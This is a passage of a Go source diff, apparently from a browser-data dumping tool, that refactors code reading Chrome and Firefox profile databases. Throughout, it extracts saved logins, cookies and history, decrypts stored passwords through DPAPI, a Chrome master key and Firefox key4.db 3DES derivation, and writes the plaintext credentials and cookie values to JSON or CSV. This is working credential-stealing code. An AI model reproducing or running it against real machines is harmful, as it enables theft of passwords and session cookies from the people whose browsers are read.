return err
}
defer func() {
if err := cookieDB.Close(); err != nil {
log.Debug(err)
}
}()
rows, err := cookieDB.Query(queryFirefoxCookie)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
}
}()
for rows.Next() {
var (
name, value, host, path string
isSecure, isHttpOnly int
creationTime, expiry int64
)
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
c.cookies[host] = append(c.cookies[host], cookie{
KeyName: name,
Host: host,
Path: path,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHttpOnly),
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
ExpireDate: utils.TimeStampFormat(expiry),
Value: value,
})
}
return nil
}
func (c *cookies) CopyItem() error {
return utils.CopyDB(c.mainPath, filepath.Base(c.mainPath))
}
func (c *cookies) Release() error {
return os.Remove(filepath.Base(c.mainPath))
}
func (c *cookies) OutPut(format, browser, dir string) error {
switch format {
case "json":
err := c.outPutJson(browser, dir)
return err
case "csv":
err := c.outPutCsv(browser, dir)
return err
}
return nil
}
type historyData struct {
mainPath string
history []history
}
func NewHistoryData(main, sub string) Item {
return &historyData{mainPath: main}
}
func (h *historyData) ChromeParse(key []byte) error {
historyDB, err := sql.Open("sqlite3", ChromeHistoryFile)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := historyDB.Close(); err != nil {
log.Error(err)
}
}()
rows, err := historyDB.Query(queryChromiumHistory)
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
}
}()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
)
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
data := history{
Url: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
}
if err != nil {
log.Error(err)
continue
}
h.history = append(h.history, data)
}
return nil
}
func (h *historyData) FirefoxParse() error {
var (
err error
keyDB *sql.DB
@ -292,7 +336,7 @@ func (h *History) FirefoxParse() error {
tempMap map[int64]string
)
tempMap = make(map[int64]string)
keyDB, err = sql.Open("sqlite3", FirefoxData)
keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
if err != nil {
log.Error(err)
return err
@ -334,83 +378,55 @@ func (h *History) FirefoxParse() error {
return nil
}
func (b *Bookmarks) FirefoxParse() error {
var (
err error
keyDB *sql.DB
bookmarkRows *sql.Rows
tempMap map[int64]string
bookmarkUrl string
)
keyDB, err = sql.Open("sqlite3", FirefoxData)
if err != nil {
log.Error(err)
func (h *historyData) CopyItem() error {
return utils.CopyDB(h.mainPath, filepath.Base(h.mainPath))
}
func (h *historyData) Release() error {
return os.Remove(filepath.Base(h.mainPath))
}
func (h *historyData) OutPut(format, browser, dir string) error {
sort.Slice(h.history, func(i, j int) bool {
return h.history[i].VisitCount > h.history[j].VisitCount
})
switch format {
case "json":
err := h.outPutJson(browser, dir)
return err
case "csv":
err := h.outPutCsv(browser, dir)
return err
}
_, err = keyDB.Exec(closeJournalMode)
if err != nil {
log.Error(err)
}
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
defer func() {
if err := bookmarkRows.Close(); err != nil {
log.Error(err)
}
}()
for bookmarkRows.Next() {
var (
id, fk, bType, dateAdded int64
title string
)
err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title)
if url, ok := tempMap[id]; ok {
bookmarkUrl = url
}
b.bookmarks = append(b.bookmarks, bookmark{
ID: id,
Name: title,
Type: utils.BookMarkType(bType),
URL: bookmarkUrl,
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})
}
return nil
}
func (b *Bookmarks) Release(filename string) error {
return os.Remove(filename)
}
func (c *Cookies) Release(filename string) error {
return os.Remove(filename)
type passwords struct {
mainPath string
subPath string
logins []loginData
}
func (h *History) Release(filename string) error {
return os.Remove(filename)
func NewFPasswords(main, sub string) Item {
return &passwords{mainPath: main, subPath: sub}
}
func (l *Logins) Release(filename string) error {
return os.Remove(filename)
func NewCPasswords(main, sub string) Item {
return &passwords{mainPath: main}
}
func (c *Cookies) FirefoxParse() error {
cookie := cookies{}
c.cookies = make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", FirefoxCookie)
func (p *passwords) ChromeParse(key []byte) error {
loginDB, err := sql.Open("sqlite3", ChromePasswordFile)
if err != nil {
log.Debug(err)
log.Error(err)
return err
}
defer func() {
if err := cookieDB.Close(); err != nil {
if err := loginDB.Close(); err != nil {
log.Debug(err)
}
}()
rows, err := cookieDB.Query(queryFirefoxCookie)
if err != nil {
log.Error(err)
return err
}
rows, err := loginDB.Query(queryChromiumLogin)
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
@ -418,28 +434,39 @@ func (c *Cookies) FirefoxParse() error {
}()
for rows.Next() {
var (
name, value, host, path string
isSecure, isHttpOnly int
creationTime, expiry int64
url, username string
pwd, password []byte
create int64
)
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
cookie = cookies{
KeyName: name,
Host: host,
Path: path,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHttpOnly),
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
ExpireDate: utils.TimeStampFormat(expiry),
err = rows.Scan(&url, &username, &pwd, &create)
if err != nil {
log.Error(err)
}
cookie.Value = value
c.cookies[host] = append(c.cookies[host], cookie)
login := loginData{
UserName: username,
encryptPass: pwd,
LoginUrl: url,
}
if key == nil {
password, err = decrypt.DPApi(pwd)
} else {
password, err = decrypt.ChromePass(key, pwd)
}
if err != nil {
log.Debugf("%s have empty password %s", login.LoginUrl, err.Error())
}
if create > time.Now().Unix() {
login.CreateDate = utils.TimeEpochFormat(create)
} else {
login.CreateDate = utils.TimeStampFormat(create)
}
login.Password = string(password)
p.logins = append(p.logins, login)
}
return nil
}
func (l *Logins) FirefoxParse() error {
func (p *passwords) FirefoxParse() error {
globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey()
if err != nil {
log.Error(err)
@ -479,23 +506,23 @@ func (l *Logins) FirefoxParse() error {
return err
}
for _, v := range allLogins {
user, _ := decrypt.DecodeLogin(v.encryptUser)
pwd, _ := decrypt.DecodeLogin(v.encryptPass)
u, err := decrypt.Des3Decrypt(finallyKey, user.Iv, user.Encrypted)
userPBE, _ := decrypt.DecodeLogin(v.encryptUser)
pwdPBE, _ := decrypt.DecodeLogin(v.encryptPass)
user, err := decrypt.Des3Decrypt(finallyKey, userPBE.Iv, userPBE.Encrypted)
if err != nil {
log.Error(err)
return err
}
log.Debug("decrypt firefox success")
p, err := decrypt.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted)
pwd, err := decrypt.Des3Decrypt(finallyKey, pwdPBE.Iv, pwdPBE.Encrypted)
if err != nil {
log.Error(err)
return err
}
l.logins = append(l.logins, loginData{
log.Debug("decrypt firefox success")
p.logins = append(p.logins, loginData{
LoginUrl: v.LoginUrl,
UserName: string(decrypt.PKCS5UnPadding(u)),
Password: string(decrypt.PKCS5UnPadding(p)),
UserName: string(decrypt.PKCS5UnPadding(user)),
Password: string(decrypt.PKCS5UnPadding(pwd)),
CreateDate: v.CreateDate,
})
@ -505,13 +532,48 @@ func (l *Logins) FirefoxParse() error {
return nil
}
func (p *passwords) CopyItem() error {
err := utils.CopyDB(p.mainPath, filepath.Base(p.mainPath))
if err != nil {
log.Error(err)
}
if p.subPath != "" {
err = utils.CopyDB(p.subPath, filepath.Base(p.subPath))
}
return err
}
func (p *passwords) Release() error {
err := os.Remove(filepath.Base(p.mainPath))
if err != nil {
log.Error(err)
}
if p.subPath != "" {
err = os.Remove(filepath.Base(p.subPath))
}
return err
}
func (p *passwords) OutPut(format, browser, dir string) error {
sort.Sort(p)
switch format {
case "json":
err := p.outPutJson(browser, dir)
return err
case "csv":
err := p.outPutCsv(browser, dir)
return err
}
return nil
}
func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
var (
keyDB *sql.DB
pwdRows *sql.Rows
nssRows *sql.Rows
)
keyDB, err = sql.Open("sqlite3", FirefoxKey4DB)
keyDB, err = sql.Open("sqlite3", FirefoxKey4File)
if err != nil {
log.Error(err)
return nil, nil, nil, nil, err
@ -552,7 +614,7 @@ func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
}
func getLoginData() (l []loginData, err error) {
s, err := ioutil.ReadFile(FirefoxLoginData)
s, err := ioutil.ReadFile(FirefoxLoginFile)
if err != nil {
return nil, err
}
@ -579,32 +641,72 @@ func getLoginData() (l []loginData, err error) {
return
}
func (b *BrowserData) Sorted() {
sort.Slice(b.bookmarks, func(i, j int) bool {
return b.bookmarks[i].ID < b.bookmarks[j].ID
})
sort.Slice(b.history, func(i, j int) bool {
return b.history[i].VisitCount > b.history[j].VisitCount
})
sort.Sort(b.Logins)
}
type (
loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginUrl string
CreateDate time.Time
}
bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
history struct {
Title string
Url string
VisitCount int
LastVisitTime time.Time
}
)
func (l Logins) Len() int {
return len(l.logins)
}
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkUrl = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
)
const (
ChromePasswordFile = "Login Data"
ChromeHistoryFile = "History"
ChromeCookieFile = "Cookies"
ChromeBookmarkFile = "Bookmarks"
FirefoxCookieFile = "cookies.sqlite"
FirefoxKey4File = "key4.db"
FirefoxLoginFile = "logins.json"
FirefoxDataFile = "places.sqlite"
FirefoxKey3DB = "key3.db"
)
func (l Logins) Less(i, j int) bool {
return l.logins[i].CreateDate.After(l.logins[j].CreateDate)
func (p passwords) Len() int {
return len(p.logins)
}
func (l Logins) Swap(i, j int) {
l.logins[i], l.logins[j] = l.logins[j], l.logins[i]
func (p passwords) Less(i, j int) bool {
return p.logins[i].CreateDate.After(p.logins[j].CreateDate)
}
type Formatter interface {
ChromeParse(key []byte) error
FirefoxParse() error
OutPutJson(browser, dir string) error
OutPutCsv(browser, dir string) error
Release(filename string) error
func (p passwords) Swap(i, j int) {
p.logins[i], p.logins[j] = p.logins[j], p.logins[i]
}

4
log/log.go
Unescape View File

@ -7,10 +7,6 @@ import (
"os"
)
const (
Prefix = "[x]: "
)
type Level int
const (

16
utils/utils.go
Unescape View File

@ -33,6 +33,17 @@ func CopyDB(src, dst string) error {
return err
}
func GetItemPath(profilePath, file string) (string, error) {
p, err := filepath.Glob(profilePath + file)
if err != nil {
return "", err
}
if len(p) > 0 {
return p[0], nil
}
return "", fmt.Errorf("find %s failed", file)
}
func IntToBool(a int) bool {
switch a {
case 0, -1:
@ -87,8 +98,9 @@ func FormatFileName(dir, browser, filename, format string) string {
return p
}
func MakeDir(dirName string) {
func MakeDir(dirName string) error {
if _, err := os.Stat(dirName); os.IsNotExist(err) {
err = os.Mkdir(dirName, 0700)
return os.Mkdir(dirName, 0700)
}
return nil
}

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